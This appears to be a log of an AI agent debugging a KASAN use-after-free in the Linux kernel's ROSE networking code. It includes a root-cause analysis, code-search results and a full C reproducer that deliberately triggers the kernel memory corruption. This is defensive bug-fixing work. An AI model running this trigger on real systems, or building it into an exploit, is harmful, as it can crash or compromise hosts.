 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```

gemini-3.1-pro-preview

							input: 9885
							output: 219
							thoughts: 187
						

**Analyzing a KASAN Slab-Use-After-Free in the ROSE Network Code**

Okay, so I've got a KASAN slab-use-after-free bug in `rose_send_frame`. The interesting thing is the write itself; it's a size 8 write occurring at memory address `ffff888056f1ec18`. I see that the vulnerable object is being allocated through `rose_add_node`, which is, in turn, called by `rose_rt_ioctl` when the `SIOCADDRT` (add route) command is used for the AF_ROSE address family. The freeing, however, is being done by `rose_neigh_put` within `rose_timer_expiry`. This is the classic allocation/deallocation mismatch that's at the heart of this kind of problem. The ultimate crash then occurs in `rose_send_frame` which is called from `rose_transmit_restart_request` which is called from `rose_t0timer_expiry`. This is the call chain.

Now, I'm thinking the relevant code is probably located in `net/rose/rose_link.c` and `net/rose/rose_route.c`. Time to get my hands dirty. I'll leverage `codesearch-definition-source` to jump to the relevant function definitions and understand the data structures involved, and then I'll be using `codesearch-find-references` to trace the control flow and understand the interactions of these functions. I need to figure out exactly *how* the object is being freed while still in use by `rose_send_frame`. This will be an interesting investigation. Let's see what we can find.

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_send_frame]

map[SourceCode:  90:	/*
  91:	 *	Interface to ax25_send_frame. Changes my level 2 callsign depending
  92:	 *	on whether we have a global ROSE callsign or use the default port
  93:	 *	callsign.
  94:	 */
  95:	static int rose_send_frame(struct sk_buff *skb, struct rose_neigh *neigh)
  96:	{
  97:		const ax25_address *rose_call;
  98:		ax25_cb *ax25s;
  99:	
 100:		if (ax25cmp(&rose_callsign, &null_ax25_address) == 0)
 101:			rose_call = (const ax25_address *)neigh->dev->dev_addr;
 102:		else
 103:			rose_call = &rose_callsign;
 104:	
 105:		ax25s = neigh->ax25;
 106:		neigh->ax25 = ax25_send_frame(skb, 260, rose_call, &neigh->callsign, neigh->digipeat, neigh->dev);
 107:		if (ax25s)
 108:			ax25_cb_put(ax25s);
 109:	
 110:		return neigh->ax25 != NULL;
 111:	}
 SourceFile:net/rose/rose_link.c]

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_restart_request]

map[SourceCode: 173:	/*
 174:	 *	This routine is called when a Restart Request is needed
 175:	 */
 176:	static void rose_transmit_restart_request(struct rose_neigh *neigh)
 177:	{
 178:		struct sk_buff *skb;
 179:		unsigned char *dptr;
 180:		int len;
 181:	
 182:		len = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN + 3;
 183:	
 184:		if ((skb = alloc_skb(len, GFP_ATOMIC)) == NULL)
 185:			return;
 186:	
 187:		skb_reserve(skb, AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN);
 188:	
 189:		dptr = skb_put(skb, ROSE_MIN_LEN + 3);
 190:	
 191:		*dptr++ = AX25_P_ROSE;
 192:		*dptr++ = ROSE_GFI;
 193:		*dptr++ = 0x00;
 194:		*dptr++ = ROSE_RESTART_REQUEST;
 195:		*dptr++ = ROSE_DTE_ORIGINATED;
 196:		*dptr++ = 0;
 197:	
 198:		if (!rose_send_frame(skb, neigh))
 199:			kfree_skb(skb);
 200:	}
 SourceFile:net/rose/rose_link.c]

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_t0timer_expiry]

map[SourceCode:  79:	static void rose_t0timer_expiry(struct timer_list *t)
  80:	{
  81:		struct rose_neigh *neigh = timer_container_of(neigh, t, t0timer);
  82:	
  83:		rose_transmit_restart_request(neigh);
  84:	
  85:		neigh->dce_mode = 0;
  86:	
  87:		rose_start_t0timer(neigh);
  88:	}
 SourceFile:net/rose/rose_link.c]

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_add_node]

map[SourceCode:  47:	/*
  48:	 *	Add a new route to a node, and in the process add the node and the
  49:	 *	neighbour if it is new.
  50:	 */
  51:	static int __must_check rose_add_node(struct rose_route_struct *rose_route,
  52:		struct net_device *dev)
  53:	{
  54:		struct rose_node  *rose_node, *rose_tmpn, *rose_tmpp;
  55:		struct rose_neigh *rose_neigh;
  56:		int i, res = 0;
  57:	
  58:		spin_lock_bh(&rose_node_list_lock);
  59:		spin_lock_bh(&rose_neigh_list_lock);
  60:	
  61:		rose_node = rose_node_list;
  62:		while (rose_node != NULL) {
  63:			if ((rose_node->mask == rose_route->mask) &&
  64:			    (rosecmpm(&rose_route->address, &rose_node->address,
  65:				      rose_route->mask) == 0))
  66:				break;
  67:			rose_node = rose_node->next;
  68:		}
  69:	
  70:		if (rose_node != NULL && rose_node->loopback) {
  71:			res = -EINVAL;
  72:			goto out;
  73:		}
  74:	
  75:		rose_neigh = rose_neigh_list;
  76:		while (rose_neigh != NULL) {
  77:			if (ax25cmp(&rose_route->neighbour,
  78:				    &rose_neigh->callsign) == 0 &&
  79:			    rose_neigh->dev == dev)
  80:				break;
  81:			rose_neigh = rose_neigh->next;
  82:		}
  83:	
  84:		if (rose_neigh == NULL) {
  85:			rose_neigh = kmalloc_obj(*rose_neigh, GFP_ATOMIC);
  86:			if (rose_neigh == NULL) {
  87:				res = -ENOMEM;
  88:				goto out;
  89:			}
  90:	
  91:			rose_neigh->callsign  = rose_route->neighbour;
  92:			rose_neigh->digipeat  = NULL;
  93:			rose_neigh->ax25      = NULL;
  94:			rose_neigh->dev       = dev;
  95:			rose_neigh->count     = 0;
  96:			rose_neigh->dce_mode  = 0;
  97:			rose_neigh->loopback  = 0;
  98:			rose_neigh->number    = rose_neigh_no++;
  99:			rose_neigh->restarted = 0;
 100:			refcount_set(&rose_neigh->use, 1);
 101:	
 102:			skb_queue_head_init(&rose_neigh->queue);
 103:	
 104:			timer_setup(&rose_neigh->ftimer, NULL, 0);
 105:			timer_setup(&rose_neigh->t0timer, NULL, 0);
 106:	
 107:			if (rose_route->ndigis != 0) {
 108:				rose_neigh->digipeat =
 109:					kmalloc_obj(ax25_digi, GFP_ATOMIC);
 110:				if (rose_neigh->digipeat == NULL) {
 111:					kfree(rose_neigh);
 112:					res = -ENOMEM;
 113:					goto out;
 114:				}
 115:	
 116:				rose_neigh->digipeat->ndigi      = rose_route->ndigis;
 117:				rose_neigh->digipeat->lastrepeat = -1;
 118:	
 119:				for (i = 0; i < rose_route->ndigis; i++) {
 120:					rose_neigh->digipeat->calls[i]    =
 121:						rose_route->digipeaters[i];
 122:					rose_neigh->digipeat->repeated[i] = 0;
 123:				}
 124:			}
 125:	
 126:			rose_neigh->next = rose_neigh_list;
 127:			rose_neigh_list  = rose_neigh;
 128:		}
 129:	
 130:		/*
 131:		 * This is a new node to be inserted into the list. Find where it needs
 132:		 * to be inserted into the list, and insert it. We want to be sure
 133:		 * to order the list in descending order of mask size to ensure that
 134:		 * later when we are searching this list the first match will be the
 135:		 * best match.
 136:		 */
 137:		if (rose_node == NULL) {
 138:			rose_tmpn = rose_node_list;
 139:			rose_tmpp = NULL;
 140:	
 141:			while (rose_tmpn != NULL) {
 142:				if (rose_tmpn->mask > rose_route->mask) {
 143:					rose_tmpp = rose_tmpn;
 144:					rose_tmpn = rose_tmpn->next;
 145:				} else {
 146:					break;
 147:				}
 148:			}
 149:	
 150:			/* create new node */
 151:			rose_node = kmalloc_obj(*rose_node, GFP_ATOMIC);
 152:			if (rose_node == NULL) {
 153:				res = -ENOMEM;
 154:				goto out;
 155:			}
 156:	
 157:			rose_node->address      = rose_route->address;
 158:			rose_node->mask         = rose_route->mask;
 159:			rose_node->count        = 1;
 160:			rose_node->loopback     = 0;
 161:			rose_node->neighbour[0] = rose_neigh;
 162:	
 163:			if (rose_tmpn == NULL) {
 164:				if (rose_tmpp == NULL) {	/* Empty list */
 165:					rose_node_list  = rose_node;
 166:					rose_node->next = NULL;
 167:				} else {
 168:					rose_tmpp->next = rose_node;
 169:					rose_node->next = NULL;
 170:				}
 171:			} else {
 172:				if (rose_tmpp == NULL) {	/* 1st node */
 173:					rose_node->next = rose_node_list;
 174:					rose_node_list  = rose_node;
 175:				} else {
 176:					rose_tmpp->next = rose_node;
 177:					rose_node->next = rose_tmpn;
 178:				}
 179:			}
 180:			rose_neigh->count++;
 181:			rose_neigh_hold(rose_neigh);
 182:	
 183:			goto out;
 184:		}
 185:	
 186:		/* We have space, slot it in */
 187:		if (rose_node->count < 3) {
 188:			rose_node->neighbour[rose_node->count] = rose_neigh;
 189:			rose_node->count++;
 190:			rose_neigh->count++;
 191:			rose_neigh_hold(rose_neigh);
 192:		}
 193:	
 194:	out:
 195:		spin_unlock_bh(&rose_neigh_list_lock);
 196:		spin_unlock_bh(&rose_node_list_lock);
 197:	
 198:		return res;
 199:	}
 SourceFile:net/rose/rose_route.c]

map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_timer_expiry]

map[SourceCode: 164:	static void rose_timer_expiry(struct timer_list *t)
 165:	{
 166:		struct rose_sock *rose = timer_container_of(rose, t, timer);
 167:		struct sock *sk = &rose->sock;
 168:	
 169:		bh_lock_sock(sk);
 170:		if (sock_owned_by_user(sk)) {
 171:			sk_reset_timer(sk, &rose->timer, jiffies + HZ/20);
 172:			goto out;
 173:		}
 174:		switch (rose->state) {
 175:		case ROSE_STATE_1:	/* T1 */
 176:		case ROSE_STATE_4:	/* T2 */
 177:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 178:			rose->state = ROSE_STATE_2;
 179:			rose_start_t3timer(sk);
 180:			break;
 181:	
 182:		case ROSE_STATE_2:	/* T3 */
 183:			rose_neigh_put(rose->neighbour);
 184:			rose_disconnect(sk, ETIMEDOUT, -1, -1);
 185:			break;
 186:	
 187:		case ROSE_STATE_3:	/* HB */
 188:			if (rose->condition & ROSE_COND_ACK_PENDING) {
 189:				rose->condition &= ~ROSE_COND_ACK_PENDING;
 190:				rose_enquiry_response(sk);
 191:			}
 192:			break;
 193:		}
 194:	out:
 195:		bh_unlock_sock(sk);
 196:		sock_put(sk);
 197:	}
 SourceFile:net/rose/rose_timer.c]

gemini-3.1-pro-preview

							input: 14483
							output: 133
							thoughts: 201
						

**Debugging a Kernel Panic in ROSE Protocol**

Okay, so I'm staring at this kernel panic, and it looks like the crash is happening in `rose_send_frame`, specifically when it's trying to get to `neigh->ax25` or something similar. Right, `rose_send_frame` takes `neigh` as an argument. That `neigh` is a `struct rose_neigh`.  Hang on, the timer in that `struct rose_neigh` is `t0timer`.  Aha, it looks like `rose_t0timer_expiry` is getting called for that `t0timer`, which accesses the `neigh` structure. The problem is that the `neigh` struct is free!

But how did it get freed?  Tracing back, I see that `neigh` is freed by `rose_neigh_put(rose->neighbour)` inside `rose_timer_expiry` in relation to a `struct rose_sock`. Okay, `rose_neigh_put` decrements the refcount, and if it hits zero, it frees the `neigh` structure. It looks like `rose_t0timer_expiry` is still trying to access the now-freed `neigh`. I better take a closer look at both `rose_neigh_put` and `rose_t0timer_expiry` now to understand the exact sequence of events and how that memory is getting corrupted.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_neigh_put]

map[SourceCode: 160:	static inline void rose_neigh_put(struct rose_neigh *rose_neigh)
 161:	{
 162:		if (refcount_dec_and_test(&rose_neigh->use)) {
 163:			if (rose_neigh->ax25)
 164:				ax25_cb_put(rose_neigh->ax25);
 165:			kfree(rose_neigh->digipeat);
 166:			kfree(rose_neigh);
 167:		}
 168:	}
 SourceFile:include/net/rose.h]

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_start_t0timer]

map[SourceCode:  44:	static void rose_start_t0timer(struct rose_neigh *neigh)
  45:	{
  46:		timer_delete(&neigh->t0timer);
  47:	
  48:		neigh->t0timer.function = rose_t0timer_expiry;
  49:		neigh->t0timer.expires  =
  50:			jiffies + msecs_to_jiffies(sysctl_rose_restart_request_timeout);
  51:	
  52:		add_timer(&neigh->t0timer);
  53:	}
 SourceFile:net/rose/rose_link.c]

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_stop_t0timer]

map[SourceCode:  60:	void rose_stop_t0timer(struct rose_neigh *neigh)
  61:	{
  62:		timer_delete(&neigh->t0timer);
  63:	}
 SourceFile:net/rose/rose_link.c]

gemini-3.1-pro-preview

							input: 15552
							output: 105
							thoughts: 88
						

Okay, here's my breakdown of this memory management issue, as if these were my internal thought processes:

**Memory Leak Alert: Deep Dive into Rose Neigh**

Alright, so `rose_neigh_put` is supposed to clean up after `rose_neigh`. It looks like it *should* free `rose_neigh`'s memory when the `use` count hits zero, which is the expected behavior. However, something isn't quite right. My gut is telling me there's a race condition.

The problem, as I see it, is that `rose_neigh_put` *only* frees the allocated memory. It doesn't seem to be touching the timers, namely `t0timer` or `ftimer`. This is a huge red flag! If those timers are still running, they'll inevitably try to access the now-freed memory associated with `rose_neigh`. That spells disaster: a classic use-after-free vulnerability! Segmentation fault, data corruption, the whole shebang.

My immediate next step is to trace the lifecycle of `rose_neigh` and these timers. I need to pinpoint exactly where `rose_neigh` is instantiated, and where those timers, `t0timer` and `ftimer`, are kicked off. That information is crucial. I need to understand the control flow, what events trigger the creation of `rose_neigh` and, importantly, the activation of the timers, and how it relates to the decreasing `use` count. Only then can I determine how to properly synchronize the memory deallocation with the timer activity. This requires a much closer look at the source code to understand what is happening.

map[ContextFile:net/rose/rose_link.c IncludeSnippetLines:0 Name:rose_start_t0timer SourceTreePrefix:]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_t0timer_expiry SourceFile:net/rose/rose_link.c SourceLine:87] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_transmit_link SourceFile:net/rose/rose_link.c SourceLine:286]] TruncatedOutput:false]

map[ContextFile:net/rose/rose_link.c IncludeSnippetLines:0 Name:rose_start_ftimer SourceTreePrefix:]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_route_by_neigh SourceFile:net/rose/rose_route.c SourceLine:776]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 16289
							output: 43
							thoughts: 44
						

Here's my summary, as the thought process unfolds:

**Digging into the Timing of ROSE Transmissions**

Okay, so I see that `rose_start_t0timer` is triggered from two places: `rose_transmit_link` and `rose_t0timer_expiry`. That's interesting, and points towards a crucial timing relationship in the ROSE network stack. To really understand what's going on with the T0 timer, I need to trace this back. The call from `rose_t0timer_expiry` is somewhat self explanatory, but I should look at `rose_transmit_link` first. It's the initiating function, so knowing what calls *it* to start the process will tell me more. Let's see what's going on there.

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_link]

map[SourceCode: 262:	void rose_transmit_link(struct sk_buff *skb, struct rose_neigh *neigh)
 263:	{
 264:		unsigned char *dptr;
 265:	
 266:		if (neigh->loopback) {
 267:			rose_loopback_queue(skb, neigh);
 268:			return;
 269:		}
 270:	
 271:		if (!rose_link_up(neigh))
 272:			neigh->restarted = 0;
 273:	
 274:		dptr = skb_push(skb, 1);
 275:		*dptr++ = AX25_P_ROSE;
 276:	
 277:		if (neigh->restarted) {
 278:			if (!rose_send_frame(skb, neigh))
 279:				kfree_skb(skb);
 280:		} else {
 281:			skb_queue_tail(&neigh->queue, skb);
 282:	
 283:			if (!rose_t0timer_running(neigh)) {
 284:				rose_transmit_restart_request(neigh);
 285:				neigh->dce_mode = 0;
 286:				rose_start_t0timer(neigh);
 287:			}
 288:		}
 289:	}
 SourceFile:net/rose/rose_link.c]

gemini-3.1-pro-preview

							input: 16963
							output: 102
							thoughts: 373
						

**My Analysis of a Potential Use-After-Free Vulnerability**

Okay, so I'm looking at this `rose_transmit_link` function, and it seems like it's responsible for starting a timer, specifically `t0timer`, if the timer isn't already running. My immediate concern is the lifecycle of this timer in relation to the `rose_neigh` structure. I need to be careful with how memory is managed here.

My first thought is, when `rose_neigh_put` releases the `neigh` structure, it should likely stop the timers associated with it. Alternatively, maybe the timers need to maintain a reference to the `neigh` structure. It looks like `rose_neigh` has both `t0timer` and `ftimer`, so the code should consider both.

Let me examine `rose_neigh_put` to confirm. Hmm, it doesn't appear to explicitly stop the timers.

```c
static inline void rose_neigh_put(struct rose_neigh *rose_neigh)
{
	if (refcount_dec_and_test(&rose_neigh->use)) {
		if (rose_neigh->ax25)
			ax25_cb_put(rose_neigh->ax25);
		kfree(rose_neigh->digipeat);
		kfree(rose_neigh);
	}
}
```

So, if `t0timer` is active, and the reference count (`use`) on `rose_neigh` drops to zero, `rose_neigh` gets freed. But, the `t0timer` is still happily running. When it expires, it will try to access the now-freed `neigh` structure, resulting in a classic Use-After-Free (UAF) situation.

Let's see if I can figure out how to trigger this. My current thinking is:

1.  A `rose_neigh` is created, probably by `rose_add_node` when a route is added.
2.  Send a packet to this route, which triggers `rose_transmit_link`, starting `t0timer`.
3.  Then, the route is deleted, which *should* decrement the refcount of `rose_neigh`... but wait, when is that refcount actually *incremented*? Let me find where the refcount of the `rose_neigh` struct is manipulated, so I can confirm the sequence.

map[ContextFile:net/rose/rose_route.c IncludeSnippetLines:0 Name:rose_neigh_put SourceTreePrefix:]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_clear_routes SourceFile:net/rose/rose_route.c SourceLine:566] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_clear_routes SourceFile:net/rose/rose_route.c SourceLine:577] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_connect SourceFile:net/rose/af_rose.c SourceLine:832] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_connect SourceFile:net/rose/af_rose.c SourceLine:844] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_connect SourceFile:net/rose/af_rose.c SourceLine:851] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_loopback_node SourceFile:net/rose/rose_route.c SourceLine:468] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_node SourceFile:net/rose/rose_route.c SourceLine:327] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_node SourceFile:net/rose/rose_route.c SourceLine:331] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_route_by_neigh SourceFile:net/rose/rose_route.c SourceLine:795] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_route_by_neigh SourceFile:net/rose/rose_route.c SourceLine:801] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_kill_by_device SourceFile:net/rose/af_rose.c SourceLine:215] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_kill_by_neigh SourceFile:net/rose/af_rose.c SourceLine:173] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_release SourceFile:net/rose/af_rose.c SourceLine:658] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_remove_route SourceFile:net/rose/rose_route.c SourceLine:260] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_remove_route SourceFile:net/rose/rose_route.c SourceLine:263] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:930] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:1087] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_device_down SourceFile:net/rose/rose_route.c SourceLine:508] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_device_down SourceFile:net/rose/rose_route.c SourceLine:516] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_free SourceFile:net/rose/rose_route.c SourceLine:1315] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_free SourceFile:net/rose/rose_route.c SourceLine:1323] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state1_machine SourceFile:net/rose/rose_in.c SourceLine:59] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state2_machine SourceFile:net/rose/rose_in.c SourceLine:82] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state2_machine SourceFile:net/rose/rose_in.c SourceLine:87] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state3_machine SourceFile:net/rose/rose_in.c SourceLine:124] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state4_machine SourceFile:net/rose/rose_in.c SourceLine:237] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state5_machine SourceFile:net/rose/rose_in.c SourceLine:257] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_timer_expiry SourceFile:net/rose/rose_timer.c SourceLine:183]] TruncatedOutput:false]

map[ContextFile:net/rose/rose_route.c IncludeSnippetLines:0 Name:rose_neigh_hold SourceTreePrefix:]

